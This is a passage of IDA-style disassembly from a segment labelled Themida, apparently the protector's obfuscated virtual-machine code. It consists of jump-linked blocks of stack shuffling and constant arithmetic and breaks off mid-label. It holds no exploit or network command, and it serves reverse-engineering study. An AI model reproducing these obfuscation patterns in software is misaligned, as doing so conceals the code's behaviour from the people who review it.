Themida_:0055E784j mov ebp, esi pop esi not ebp inc ebp xor ebp, 0E576CD11h and ebx, ebp mov ebp, [esp] push esi push esp pop esi add esi, 4 add esi, 4 jmp loc_55D35B ; --------------------------------------------------------------------------- loc_55C09C: ; CODE XREF: Themida_:0055C1D1j neg ebx xor ebx, 3D940BB0h add ebx, 628D16E9h push edi jmp loc_562DC6 ; --------------------------------------------------------------------------- loc_55C0B0: ; CODE XREF: Themida_:00562CEBj shr edx, 3 jmp loc_551DDF ; --------------------------------------------------------------------------- loc_55C0B8: ; CODE XREF: Themida_:0055BD36j pop eax xchg ecx, [esp] pop esp mov [esp], ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], edx jmp loc_558224 ; --------------------------------------------------------------------------- loc_55C0D6: ; CODE XREF: Themida_:0056321Dj push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] xchg edx, ebx jmp loc_553A7F ; --------------------------------------------------------------------------- loc_55C0EE: ; CODE XREF: Themida_:00558E3Dj pop eax jmp loc_55CF05 ; --------------------------------------------------------------------------- loc_55C0F4: ; CODE XREF: Themida_:005602FDj push ebx jmp loc_564CBC ; --------------------------------------------------------------------------- loc_55C0FA: ; CODE XREF: Themida_:0056350Ej xor cl, 0CCh push ebx push edx mov dh, 0 jmp loc_55EBA0 ; --------------------------------------------------------------------------- loc_55C106: ; CODE XREF: Themida_:0055AB0Fj add ebx, edi jmp loc_559BF9 ; --------------------------------------------------------------------------- loc_55C10D: ; CODE XREF: Themida_:00555935j pop edi pop dword ptr [esp] jmp loc_5550F7 ; --------------------------------------------------------------------------- loc_55C116: ; CODE XREF: Themida_:005646E0j mov [esp], edx sub esp, 4 mov [esp], ebx jmp loc_55DD8A ; --------------------------------------------------------------------------- loc_55C127: ; CODE XREF: Themida_:00563CC3j add esi, 158E6EDFh sub eax, esi pop esi shl eax, 2 inc eax jmp loc_553C14 ; --------------------------------------------------------------------------- loc_55C139: ; CODE XREF: Themida_:00554778j add eax, 0B0BA803Eh push 577Eh mov [esp], ecx sub esp, 4 mov [esp], eax push eax push edx mov edx, 145E016Ah mov eax, 4F9453EDh sub eax, edx mov edx, [esp] add esp, 4 add dword ptr [esp+4], 3A6F468Dh sub [esp+4], eax sub dword ptr [esp+4], 3A6F468Dh pop eax mov ecx, [esp] jmp loc_552F18 ; --------------------------------------------------------------------------- loc_55C183: ; CODE XREF: Themida_:0055FC05j mov edi, 1DF870EBh push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_55F82B ; --------------------------------------------------------------------------- loc_55C1A0: ; CODE XREF: Themida_:0055EBDFj mov ebx, [esp] add esp, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], eax jmp loc_554983 ; --------------------------------------------------------------------------- loc_55C1BB: ; CODE XREF: Themida_:0055751Aj mov edx, 4 add edi, edx pop edx jmp loc_555930 ; --------------------------------------------------------------------------- loc_55C1C8: ; CODE XREF: Themida_:0055F7E9j add ebx, 1 xor ebx, 16AE40B5h jmp loc_55C09C ; --------------------------------------------------------------------------- loc_55C1D6: ; CODE XREF: Themida_:0055A180j add edx, 4 jmp loc_56203B ; --------------------------------------------------------------------------- loc_55C1E1: ; CODE XREF: Themida_:00552E90j mov esi, 301F0712h add ebx, esi pop esi add ebx, 456E0EABh add ebx, 231644C3h sub ebx, eax sub ebx, 231644C3h sub ebx, 456E0EABh jmp loc_554726 ; --------------------------------------------------------------------------- loc_55C208: ; CODE XREF: Themida_:00557C6Ej add edx, 0F2E10DCh jmp loc_5654D4 ; --------------------------------------------------------------------------- loc_55C213: ; CODE XREF: Themida_:005645A1j mov [esp], eax mov eax, 74EB2484h neg eax or eax, 6A1D16A1h xor eax, 450B2E67h and eax, 3C792AC0h not eax sub eax, 3D6B157Bh mov esi, eax jmp loc_557AE7 ; --------------------------------------------------------------------------- loc_55C23A: ; CODE XREF: Themida_:00551882j mov eax, 12234727h add [esp+4], eax pop eax jmp loc_55FCF1 ; --------------------------------------------------------------------------- loc_55C249: ; CODE XREF: Themida_:00561F91j sub al, bl add al, 88h push dword ptr [esp] pop ebx push ebx jmp loc_56334A ; --------------------------------------------------------------------------- loc_55C257: ; CODE XREF: Themida_:005592F1j add edx, ebp push dword ptr [esp] pop ebp push esi mov esi, esp push ebp mov ebp, 52447B14h add ebp, 1D13427Fh xor ebp, 582E1C48h jmp loc_55418C ; --------------------------------------------------------------------------- loc_55C277: ; CODE XREF: Themida_:0055F92Bj mul cx push small 6DA7h mov [esp], dx push ax pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_55C28A: ; CODE XREF: Themida_:0055676Ej push 806h jmp loc_5527C3 ; --------------------------------------------------------------------------- loc_55C294: ; CODE XREF: Themida_:00561004j shr ebp, 6 add ebp, 4DFE17DAh push ebx mov ebx, 22475F8Eh shr ebx, 8 shr ebx, 6 not ebx shr ebx, 8 jmp loc_5579F1 ; --------------------------------------------------------------------------- loc_55C2B3: ; CODE XREF: Themida_:00560FB9j sub ebp, 0DE520D4h pop ebx push 17B7h mov [esp], esi push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], edx push 8934F6h pop edx jmp loc_557EF3 ; --------------------------------------------------------------------------- loc_55C2E2: ; CODE XREF: Themida_:00560D65j sub esp, 4 mov [esp], ebp push eax push ebp mov ebp, 95460F9h dec ebp not ebp neg ebp sub ebp, 7A2E50DAh xchg esi, ebp not esi xchg esi, ebp add ebp, 0E64010ACh mov eax, ebp pop ebp mov ebp, 571A008Eh xor ebp, eax mov eax, [esp] push 4E8Dh mov [esp], edi jmp loc_55BEF1 ; --------------------------------------------------------------------------- loc_55C323: ; CODE XREF: Themida_:0055BEB1j mov ecx, 26E6148h push ebp mov ebp, 20E6DAF5h jmp loc_550C72 ; --------------------------------------------------------------------------- loc_55C333: ; CODE XREF: Themida_:0055F958j pop dword ptr [esp] add dword ptr [esp], 4 pop dword ptr [esp] jmp loc_551E09 ; --------------------------------------------------------------------------- loc_55C345: ; CODE XREF: Themida_:005611E7j or ch, 9Eh add ch, 1Fh jmp loc_559A55 ; --------------------------------------------------------------------------- loc_55C350: ; CODE XREF: Themida_:00552216j pop esi jmp loc_555035 ; --------------------------------------------------------------------------- loc_55C356: ; CODE XREF: Themida_:0055C71Aj xchg edx, [esp] mov esp, [esp] mov [esp], edi mov edi, 0DE03AF9h jmp loc_55CEE6 ; --------------------------------------------------------------------------- loc_55C369: ; CODE XREF: Themida_:0055894Bj shl edi, 1 add edi, 0D4CBEFA4h mov ebp, edi pop edi sub ebx, ebp mov ebp, [esp] jmp loc_550EA7 ; --------------------------------------------------------------------------- loc_55C37E: ; CODE XREF: Themida_:0055A1E0j add ebp, ebx add ebp, 74E13A9Dh push dword ptr [esp] pop ebx add esp, 4 jmp loc_5632B4 ; --------------------------------------------------------------------------- loc_55C392: ; CODE XREF: Themida_:0055AED5j sub esp, 4 mov [esp], ebp mov ebp, 4 jmp loc_557A97 ; --------------------------------------------------------------------------- loc_55C3A2: ; CODE XREF: Themida_:00559C19j mov esp, [esp] mov [esp], edx jmp loc_5641C6 ; --------------------------------------------------------------------------- loc_55C3AD: ; CODE XREF: Themida_:00552E71j pop ecx push 4FCAh mov [esp], ecx push eax push ebx mov bh, 30h dec bh or bh, 0A9h and bh, 70h not bh sub bh, 4Ah mov al, bh pop ebx mov ch, al mov eax, [esp] add esp, 4 push 1C0Ch mov [esp], ecx not byte ptr [esp+1] pop ecx push 1961h mov [esp], ebx push eax jmp loc_557F94 ; --------------------------------------------------------------------------- loc_55C3ED: ; CODE XREF: Themida_:005549CFj sub eax, 0BD017210h sub ebp, eax pop eax mov edi, ebp jmp loc_564CF7 ; --------------------------------------------------------------------------- loc_55C3FC: ; CODE XREF: Themida_:00558A03j pop esp add edx, 7CCC21D8h push 2D9Bh mov [esp], ebp jmp loc_55B78E ; --------------------------------------------------------------------------- loc_55C410: ; CODE XREF: Themida_:0055A7CEj mov cl, dl jmp loc_55AC34 ; --------------------------------------------------------------------------- loc_55C417: ; CODE XREF: Themida_:0055077Dj push ebx mov ebx, 4 add ecx, ebx pop ebx add ecx, 4 push 7906h mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp jmp loc_552B2E ; --------------------------------------------------------------------------- loc_55C43C: ; CODE XREF: Themida_:00553309j mov esp, [esp] mov cx, [esp] push 132Dh mov [esp], ecx mov ecx, esp push esi jmp loc_563089 ; --------------------------------------------------------------------------- loc_55C453: ; CODE XREF: Themida_:00564245j mov ebp, 42A7428Ch add ebx, ebp pop ebp jmp loc_5584B5 ; --------------------------------------------------------------------------- loc_55C460: ; CODE XREF: Themida_:0055E013j push edi mov edi, 35B37157h push ebx mov ebx, edi mov esi, ebx mov ebx, [esp] add esp, 4 pop edi or esi, 4F917BD5h push edi push ebp push esi mov esi, 7FB37BD3h jmp loc_5509A5 ; --------------------------------------------------------------------------- loc_55C485: ; CODE XREF: Themida_:00554187j push dword ptr [esp] jmp loc_55A64D ; --------------------------------------------------------------------------- loc_55C48D: ; CODE XREF: Themida_:0055173Aj mov bl, 0B0h sub bl, 1 add bl, 0FFh push edx mov dl, 0Fh neg dl dec dl add dl, 0AAh sub bl, dl pop edx mov dh, bl pop ebx and dh, 55h dec dh jmp loc_5519B8 ; --------------------------------------------------------------------------- loc_55C4AF: ; CODE XREF: Themida_:0055F39Ej add edi, 4 push edi jmp loc_5577D7 ; --------------------------------------------------------------------------- loc_55C4B8: ; CODE XREF: Themida_:0056439Ej push esi push ebp jmp loc_557D8F ; --------------------------------------------------------------------------- loc_55C4BF: ; CODE XREF: Themida_:00564A70j pop dword ptr [esp] pop esp push ebx sub esp, 4 mov [esp], esp push ebp mov ebp, 4 add [esp+4], ebp pop ebp jmp loc_55DF7F ; --------------------------------------------------------------------------- loc_55C4DA: ; CODE XREF: Themida_:00552223j add ecx, 0F3F5301h jmp loc_564D49 ; --------------------------------------------------------------------------- loc_55C4E5: ; CODE XREF: Themida_:0055CC89j xor edx, ecx pop ecx sub edx, 53044392h jmp loc_5558AF ; --------------------------------------------------------------------------- loc_55C4F3: ; CODE XREF: Themida_:0055ED7Ej or edx, 4F143DF9h dec edx xor edx, 17E9302Dh inc edx xor edx, 0CCD68966h xor esi, edx jmp loc_55B372 ; --------------------------------------------------------------------------- loc_55C50E: ; CODE XREF: Themida_:00557459j xor ecx, 5688331Ah add eax, ecx jmp loc_561877 ; --------------------------------------------------------------------------- loc_55C51B: ; CODE XREF: Themida_:00559893j dec ah not ah dec ah add ah, 0C2h add ah, 0CDh xor cl, ah pop eax jmp loc_55B825 ; --------------------------------------------------------------------------- loc_55C52F: ; CODE XREF: Themida_:0055EB9Bj push ecx mov ecx, esp jmp loc_560ED9 ; --------------------------------------------------------------------------- loc_55C537: ; CODE XREF: Themida_:0055D5C0j push 2DE130A1h mov ebx, [esp] add esp, 4 xor ebx, 11B94F4Ah sub ebx, 3C587FE7h mov ecx, ebx pop ebx add edi, ecx mov ecx, [esp] jmp loc_554B89 ; --------------------------------------------------------------------------- loc_55C55B: ; CODE XREF: Themida_:00563D20j push esp pop edi push ebx mov ebx, 4 add edi, ebx jmp loc_558404 ; --------------------------------------------------------------------------- loc_55C56A: ; CODE XREF: Themida_:0055235Ej push 1879h mov [esp], ebp push ecx mov ecx, 7C0C04FBh mov ebp, ecx jmp loc_555153 ; --------------------------------------------------------------------------- loc_55C57F: ; CODE XREF: Themida_:00559838j push dword ptr [esp] pop edx add esp, 4 sub ebx, 408C6DAEh mov dx, [esp] push edi jmp loc_5531E9 ; --------------------------------------------------------------------------- loc_55C599: ; CODE XREF: Themida_:0055C9F0j xor ebp, [esp] jmp loc_561409 ; --------------------------------------------------------------------------- loc_55C5A1: ; CODE XREF: Themida_:00552B1Cj push 535E7789h mov esi, [esp] add esp, 4 push ebp jmp loc_5580BB ; --------------------------------------------------------------------------- loc_55C5B5: ; CODE XREF: Themida_:0055839Aj add edx, esi add edx, 24AE38A1h jmp loc_552C76 ; --------------------------------------------------------------------------- loc_55C5C2: ; CODE XREF: Themida_:005589F8j jmp loc_550420 ; --------------------------------------------------------------------------- loc_55C5C7: ; CODE XREF: Themida_:00561E9Aj pop esp or eax, eax jmp loc_55F5BE ; --------------------------------------------------------------------------- loc_55C5CF: ; CODE XREF: Themida_:0055D35Ej pop esp push edi jmp loc_558DC9 ; --------------------------------------------------------------------------- loc_55C5D6: ; CODE XREF: Themida_:0055BD70j pop esp push eax mov eax, esp jmp loc_550846 ; --------------------------------------------------------------------------- loc_55C5DF: ; CODE XREF: Themida_:0055B116j push 3556h mov [esp], ebx mov bh, ch jmp loc_55192A ; --------------------------------------------------------------------------- loc_55C5EE: ; CODE XREF: Themida_:005605AAj sub eax, 7BC02B91h add eax, edx jmp loc_552164 ; --------------------------------------------------------------------------- loc_55C5FA: ; CODE XREF: Themida_:005591E1j add edi, 4 push ebp mov ebp, 6D092853h add ebp, 92F6D7B1h add edi, ebp pop ebp push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] push ecx mov ch, al mov bl, ch pop ecx mov eax, [esp] jmp loc_554851 ; --------------------------------------------------------------------------- loc_55C629: ; CODE XREF: Themida_:0055773Bj mov edi, 138E6D81h xor edi, 23966702h push esi mov esi, 541877B9h sub edi, esi pop esi jmp loc_565626 ; --------------------------------------------------------------------------- loc_55C642: ; CODE XREF: Themida_:0055076Fj add ebx, 4 xchg ebx, [esp] pop esp mov dx, [esp] add esp, 2 jmp loc_56517D ; --------------------------------------------------------------------------- loc_55C658: ; CODE XREF: Themida_:0055B77Ej inc byte ptr [esp] pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_55C661: ; CODE XREF: Themida_:0056511Fj pop eax push esi mov esi, esp jmp loc_552EB7 ; --------------------------------------------------------------------------- loc_55C66A: ; CODE XREF: Themida_:00552399j push ebp mov ebp, 1C621193h add edx, ebp pop ebp sub edx, 6132570Fh sub edx, eax add edx, 6132570Fh push ebp jmp loc_5600BD ; --------------------------------------------------------------------------- loc_55C687: ; CODE XREF: Themida_:00550885j push ebx sub esp, 4 mov [esp], ecx push 3F506EBAh pop ecx sub ecx, 1B3F557Eh push ecx xor dword ptr [esp], 1A633F7Ch pop ebx xor ebx, 1A633F7Ch mov ecx, [esp] add esp, 4 xor ebx, 2411193Eh push ecx push 2DDB6324h mov ecx, [esp] add esp, 4 sub edi, 58AC0216h sub edi, ecx add edi, 58AC0216h pop ecx add edi, ebx push 1DE9h mov [esp], eax mov eax, 2DDB6324h push eax mov eax, 620B267Eh add edi, eax pop eax add edi, eax sub edi, 620B267Eh mov eax, [esp] jmp loc_558D57 ; --------------------------------------------------------------------------- loc_55C6FE: ; CODE XREF: Themida_:00556D22j mov edx, 42B61AC0h xor eax, edx mov edx, [esp] add esp, 4 push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_55C356 ; --------------------------------------------------------------------------- loc_55C71F: ; CODE XREF: Themida_:0055316Ej add esp, 4 push 4897h mov [esp], edi push ebx jmp loc_551CEE ; --------------------------------------------------------------------------- loc_55C733: ; CODE XREF: Themida_:0055D076j sub cl, 4Ch pop eax add cl, 0FFh neg cl add cl, 9Bh jmp loc_55B6EF ; --------------------------------------------------------------------------- loc_55C744: ; CODE XREF: Themida_:00552FACj mov [esp], esi mov esi, 0A0E1A0Ah add esi, 47F67023h dec esi sub esi, 3F997EDBh add ebx, esi pop esi pop ebp jmp loc_561A7C ; --------------------------------------------------------------------------- loc_55C762: ; CODE XREF: Themida_:00563322j sub eax, 0D27D8603h jmp loc_550D60 ; --------------------------------------------------------------------------- loc_55C76C: ; CODE XREF: Themida_:00555D21j mov edi, 600F5C72h sub dword ptr [esp+4], 11856538h add [esp+4], edi add dword ptr [esp+4], 11856538h jmp loc_55884A ; --------------------------------------------------------------------------- loc_55C78A: ; CODE XREF: Themida_:0056009Bj push 0 sub [esp], ebp mov ebp, [esp] add esp, 4 shl ebp, 1 not ebp jmp loc_55396B ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax push ebx jmp loc_550E77 ; --------------------------------------------------------------------------- loc_55C7B1: ; CODE XREF: Themida_:0055F188j push esi mov esi, 7A402A86h inc esi inc esi xor esi, 32BA234Dh add ebx, esi mov esi, [esp] add esp, 4 add ebx, 12D1479Fh push esi jmp loc_560A18 ; --------------------------------------------------------------------------- loc_55C7D6: ; CODE XREF: Themida_:005567C6j add ebx, 4 add ebx, 2 jmp loc_55A320 ; --------------------------------------------------------------------------- loc_55C7E7: ; CODE XREF: Themida_:0055BE53j push 7E46h jmp loc_55F9D4 ; --------------------------------------------------------------------------- loc_55C7F1: ; CODE XREF: Themida_:00551C52j sub esp, 4 jmp loc_5576FB ; --------------------------------------------------------------------------- loc_55C7F9: ; CODE XREF: Themida_:0055A214j pop ebp xchg edx, [esp] mov esp, [esp] mov [esp], edi push esp pop edi push ebx jmp loc_5610D9 ; --------------------------------------------------------------------------- loc_55C80B: ; CODE XREF: Themida_:00559963j add ah, ch push dword ptr [esp] jmp loc_556F3B ; --------------------------------------------------------------------------- loc_55C815: ; CODE XREF: Themida_:0056032Aj mov eax, esp add eax, 4 push edx mov edx, 4 sub eax, edx mov edx, [esp] add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_5560F2 ; --------------------------------------------------------------------------- loc_55C83B: ; CODE XREF: Themida_:00552F3Ej push ecx mov ecx, 21702BF4h shr ecx, 6 add ecx, 0FF7A3F55h add edi, ecx pop ecx sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx xor dword ptr [esp], 67F7191Ch pop ebx xor ebx, 67F7191Ch jmp loc_552606 ; --------------------------------------------------------------------------- loc_55C86D: ; CODE XREF: Themida_:0055B651j push dword ptr [esp] jmp loc_55D2A6 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop ecx push 2A3Ch mov [esp], ecx jmp loc_560181 ; --------------------------------------------------------------------------- loc_55C889: ; CODE XREF: Themida_:00553F4Ej add eax, 37EF157Bh jmp loc_5561F6 ; --------------------------------------------------------------------------- loc_55C893: ; CODE XREF: Themida_:0055EE2Cj xchg ebx, [esp] pop esp push edi push 1C604127h pop edi sub [esp+8], edi push dword ptr [esp] pop edi add esp, 4 sub [esp+4], edi jmp loc_56173C ; --------------------------------------------------------------------------- loc_55C8B2: ; CODE XREF: Themida_:005583F6j mov edi, ebx jmp loc_556B4B ; --------------------------------------------------------------------------- loc_55C8B9: ; CODE XREF: Themida_:00559246j mov [esp], esi sub esp, 4 jmp loc_552E0D ; --------------------------------------------------------------------------- loc_55C8C7: ; CODE XREF: Themida_:005560D8j xchg ebp, [esp] jmp loc_562D06 ; --------------------------------------------------------------------------- loc_55C8CF: ; CODE XREF: Themida_:00558BDEj mov ebp, 0D9C00004h jmp loc_5578D3 ; --------------------------------------------------------------------------- loc_55C8D9: ; CODE XREF: Themida_:0055F4EDj sub esp, 4 jmp loc_550A10 ; --------------------------------------------------------------------------- loc_55C8E1: ; CODE XREF: Themida_:00555F9Fj push dword ptr [esp] pop edx jmp loc_5594AD ; --------------------------------------------------------------------------- loc_55C8EA: ; CODE XREF: Themida_:00554F0Aj and eax, edi pop edi or eax, eax jz loc_553845 push dword ptr [edi+1Ch] push ebx mov ebx, 103A1942h or ebx, 390A1352h push esi jmp loc_55BFD5 ; --------------------------------------------------------------------------- loc_55C90A: ; CODE XREF: Themida_:0055ACC2j push esi push esp pop esi push ebx jmp loc_558567 ; --------------------------------------------------------------------------- loc_55C913: ; CODE XREF: Themida_:00558124j mov ecx, [esp] push esi mov esi, esp jmp loc_55BACB ; --------------------------------------------------------------------------- loc_55C91E: ; CODE XREF: Themida_:0055AEC3j pop edx add edi, 1589199Ah sub ebx, edi mov edi, [esp] push 5D70h mov [esp], eax mov eax, esp push esi mov esi, 4 add eax, esi pop esi add eax, 4 xor eax, [esp] xor [esp], eax jmp loc_5633D4 ; --------------------------------------------------------------------------- loc_55C94D: ; CODE XREF: Themida_:00552B8Aj push ecx mov ch, al mov bh, ch pop ecx push 2701h jmp loc_5571F7 ; --------------------------------------------------------------------------- loc_55C95D: ; CODE XREF: Themida_:00552BCCj or ecx, 361234EDh xor ecx, 0D13410h jmp loc_555F7D ; --------------------------------------------------------------------------- loc_55C96E: ; CODE XREF: Themida_:0055F6DFj push eax mov eax, 2110B8Fh mov edi, eax pop eax or esi, edi jmp loc_55EB41 ; --------------------------------------------------------------------------- loc_55C97E: ; CODE XREF: Themida_:0055DBCBj push 12C8h mov [esp], ebp mov ebp, 71915340h inc ebp push ebx jmp loc_55D8F7 ; --------------------------------------------------------------------------- loc_55C992: ; CODE XREF: Themida_:0055E263j mov ecx, 7B8719E3h jmp loc_561E0A ; --------------------------------------------------------------------------- loc_55C99C: ; CODE XREF: Themida_:00554688j mov [esp], ecx mov ecx, 0E501B33h jmp loc_553744 ; --------------------------------------------------------------------------- loc_55C9A9: ; CODE XREF: Themida_:00551CC1j inc al jmp loc_5630CF ; --------------------------------------------------------------------------- loc_55C9B0: ; CODE XREF: Themida_:0055A490j xchg ebx, [esp] pop esp mov [esp], edi jmp loc_560870 ; --------------------------------------------------------------------------- loc_55C9BC: ; CODE XREF: Themida_:0055D2CFj pop ebx jmp loc_55F741 ; --------------------------------------------------------------------------- loc_55C9C2: ; CODE XREF: Themida_:00557B52j xchg ebp, [esp] pop esp push edx add dword ptr [esp], 18284EECh pop ecx push eax mov eax, 18284EECh jmp loc_5552F6 ; --------------------------------------------------------------------------- mov ax, [esp] push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_55C599 ; --------------------------------------------------------------------------- loc_55C9F5: ; CODE XREF: Themida_:00558ECFj pop esp mov [esp], edx mov edx, 4C2A0E14h mov ecx, edx pop edx dec ecx xor ecx, 521E0E3Dh xor eax, ecx mov ecx, [esp] add esp, 4 push ebx mov ebx, 2A442CDAh push ebp mov ebp, 1A2E2B9Fh xchg eax, ebp neg eax xchg eax, ebp jmp loc_55ACF1 ; --------------------------------------------------------------------------- loc_55CA28: ; CODE XREF: Themida_:00558141j push ecx mov ch, 96h add dh, ch pop ecx push cx mov ch, 0EDh add dh, ch jmp loc_550DEA ; --------------------------------------------------------------------------- loc_55CA39: ; CODE XREF: Themida_:00552AE4j shr eax, 1 xor eax, 3EC7B7E5h push edx mov edx, 72B34DBAh xor edx, 54DE25DCh jmp loc_5513FC ; --------------------------------------------------------------------------- loc_55CA51: ; CODE XREF: Themida_:005585FEj mov edi, [esp] add esp, 4 add edx, ecx jmp loc_562CB1 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], eax mov eax, esp sub esp, 4 mov [esp], ebx mov ebx, 26AB561Bh shr ebx, 5 or ebx, 1C090C8Ch dec ebx push esi jmp loc_564427 ; --------------------------------------------------------------------------- loc_55CA88: ; CODE XREF: Themida_:00558378j pop ebx add ebp, 0DCB6A227h add eax, ebp jmp loc_56191E ; --------------------------------------------------------------------------- loc_55CA96: ; CODE XREF: Themida_:00564A4Bj sub bh, 75h not bh shr bh, 7 neg bh and bh, 7Bh add bh, 45h add bh, 0A0h mov ch, bh pop ebx sub bh, ch pop cx add al, 0EBh add al, 0A1h jmp loc_558691 ; --------------------------------------------------------------------------- loc_55CAB9: ; CODE XREF: Themida_:0055F3C1j mov eax, esp jmp loc_554441 ; --------------------------------------------------------------------------- loc_55CAC0: ; CODE XREF: Themida_:0055130Cj push ebp jmp loc_55680F ; --------------------------------------------------------------------------- loc_55CAC6: ; CODE XREF: Themida_:005588AAj xor eax, ebx jmp loc_556720 ; --------------------------------------------------------------------------- loc_55CACD: ; CODE XREF: Themida_:00559457j pop ebx sub ecx, esi pop esi jmp loc_562B5E ; --------------------------------------------------------------------------- loc_55CAD6: ; CODE XREF: Themida_:0055AC95j mov ebp, 15DE661Bh add esi, ebp pop ebp jmp loc_55538E ; --------------------------------------------------------------------------- loc_55CAE3: ; CODE XREF: Themida_:00556C78j xor edi, [esp] jmp loc_5607CF ; --------------------------------------------------------------------------- loc_55CAEB: ; CODE XREF: Themida_:005635C0j pop ecx or dl, bl pop ebx xor dl, 0F7h sub al, 21h sub al, dl jmp loc_560BBE ; --------------------------------------------------------------------------- loc_55CAFB: ; CODE XREF: Themida_:00552AB8j movzx cx, ah push 65B5h jmp loc_563C85 ; --------------------------------------------------------------------------- loc_55CB09: ; CODE XREF: Themida_:0055E077j add eax, edi jmp loc_561A83 ; --------------------------------------------------------------------------- loc_55CB10: ; CODE XREF: Themida_:00560CAFj mov edx, 4 sub esi, 5CF034E8h add esi, 407432E7h add esi, edx jmp loc_555E34 ; --------------------------------------------------------------------------- loc_55CB28: ; CODE XREF: Themida_:005576C1j xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_56257D ; --------------------------------------------------------------------------- loc_55CB36: ; CODE XREF: Themida_:0055B541j push edx add dword ptr [esp], 1BF4109Ch push dword ptr [esp] pop eax jmp loc_5612CC ; --------------------------------------------------------------------------- loc_55CB47: ; CODE XREF: Themida_:00555120j xchg edx, [esp] pop esp push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push 228Fh mov [esp], esi mov esi, 4BCC0D19h push esi not dword ptr [esp] pop esi jmp loc_554111 ; --------------------------------------------------------------------------- loc_55CB75: ; CODE XREF: Themida_:00555180j push 5730h mov [esp], edi jmp loc_55D370 ; --------------------------------------------------------------------------- loc_55CB82: ; CODE XREF: Themida_:0056062Dj add ecx, 2 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_55E765 ; --------------------------------------------------------------------------- loc_55CB93: ; CODE XREF: Themida_:005649F8j mov [esp], ecx mov ecx, 5D6D3A21h xor [esp+4], ecx mov ecx, [esp] add esp, 4 push dword ptr [esp] mov eax, [esp] jmp loc_563FC1 ; --------------------------------------------------------------------------- loc_55CBB0: ; CODE XREF: Themida_:005559CDj neg eax dec eax shr eax, 2 sub eax, 46CA6585h xor esi, eax jmp loc_5538B0 ; --------------------------------------------------------------------------- loc_55CBC2: ; CODE XREF: Themida_:00550C05j mov esi, ebp push dword ptr [esp] pop ebp add esp, 4 push dword ptr [esp] mov ebx, [esp] jmp loc_562BE5 ; --------------------------------------------------------------------------- loc_55CBD9: ; CODE XREF: Themida_:00564708j add eax, ebx pop ebx jmp loc_55F8B0 ; --------------------------------------------------------------------------- loc_55CBE1: ; CODE XREF: Themida_:00557669j dec ah jmp loc_553812 ; --------------------------------------------------------------------------- loc_55CBE8: ; CODE XREF: Themida_:00562BC7j sub ebx, 2C6D69A8h sub ebx, eax add ebx, 2C6D69A8h jmp loc_55945C ; --------------------------------------------------------------------------- loc_55CBFB: ; CODE XREF: Themida_:005550C1j sub eax, 7B0A5700h mov [eax], esi push dword ptr [esp] mov eax, [esp] jmp loc_55A770 ; --------------------------------------------------------------------------- loc_55CC0D: ; CODE XREF: Themida_:00564B49j sub [esp], ebx pop ebx shr ebx, 7 push ecx mov ecx, 5293470Bh jmp loc_560CBB ; --------------------------------------------------------------------------- loc_55CC1F: ; CODE XREF: Themida_:005524E5j pop edi sub eax, ebx pop ebx add eax, 61D37602h jmp loc_55E1B2 ; --------------------------------------------------------------------------- loc_55CC2D: ; CODE XREF: Themida_:0055BE2Dj sub ebp, 0B067EBD2h add esi, ebp push dword ptr [esp] pop ebp add esp, 4 jmp loc_5620F0 ; --------------------------------------------------------------------------- loc_55CC44: ; CODE XREF: Themida_:005579C9j or [esp], ax pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_55CC4E: ; CODE XREF: Themida_:0055BBA0j pop ebp mov edx, esi push dword ptr [esp] pop esi add esp, 4 push edi mov edi, 4A629F5h and edi, 5A002992h jmp loc_554A33 ; --------------------------------------------------------------------------- loc_55CC69: ; CODE XREF: Themida_:00555BC4j add dword ptr [esp+4], 1AD73CF5h jmp loc_56056F ; --------------------------------------------------------------------------- loc_55CC76: ; CODE XREF: Themida_:0055A5A3j pop esp push edx mov edx, 3097D86h or edx, 598A4A1Fh push ecx mov ecx, 3F756DE5h jmp loc_55C4E5 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl dword ptr [esp], cl pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_55CC9D: ; CODE XREF: Themida_:00554F59j sub al, 48h sub al, 12h pop cx push dx jmp loc_5617B8 ; --------------------------------------------------------------------------- loc_55CCAA: ; CODE XREF: Themida_:005646EEj xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp mov [esp], edx sub esp, 4 mov [esp], eax mov eax, 6280587Ah mov edx, 0D499016Ch add edx, eax pop eax and edx, 40E3534Ch push 3B26h mov [esp], ebp mov ebp, 2D357DD5h xor edx, ebp mov ebp, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_555AC9 ; --------------------------------------------------------------------------- loc_55CCF5: ; CODE XREF: Themida_:00558C93j mov esi, 2 push 7F0Eh mov [esp], esi pop ebx pop esi jmp loc_5518A8 ; --------------------------------------------------------------------------- loc_55CD09: ; CODE XREF: Themida_:0055F8E9j xor eax, ebx push 6E68h mov [esp], ecx jmp loc_563FCC ; --------------------------------------------------------------------------- loc_55CD18: ; CODE XREF: Themida_:005658FCj add al, 0AFh add al, 2 jmp loc_550E2E ; --------------------------------------------------------------------------- loc_55CD21: ; CODE XREF: Themida_:005544ABj sub dh, 82h sub al, dh pop edx sub al, bl add al, 9Ch pop ebx jmp loc_56185B ; --------------------------------------------------------------------------- loc_55CD31: ; CODE XREF: Themida_:0055AC01j xor ch, 0DAh jmp loc_56161D ; --------------------------------------------------------------------------- loc_55CD39: ; CODE XREF: 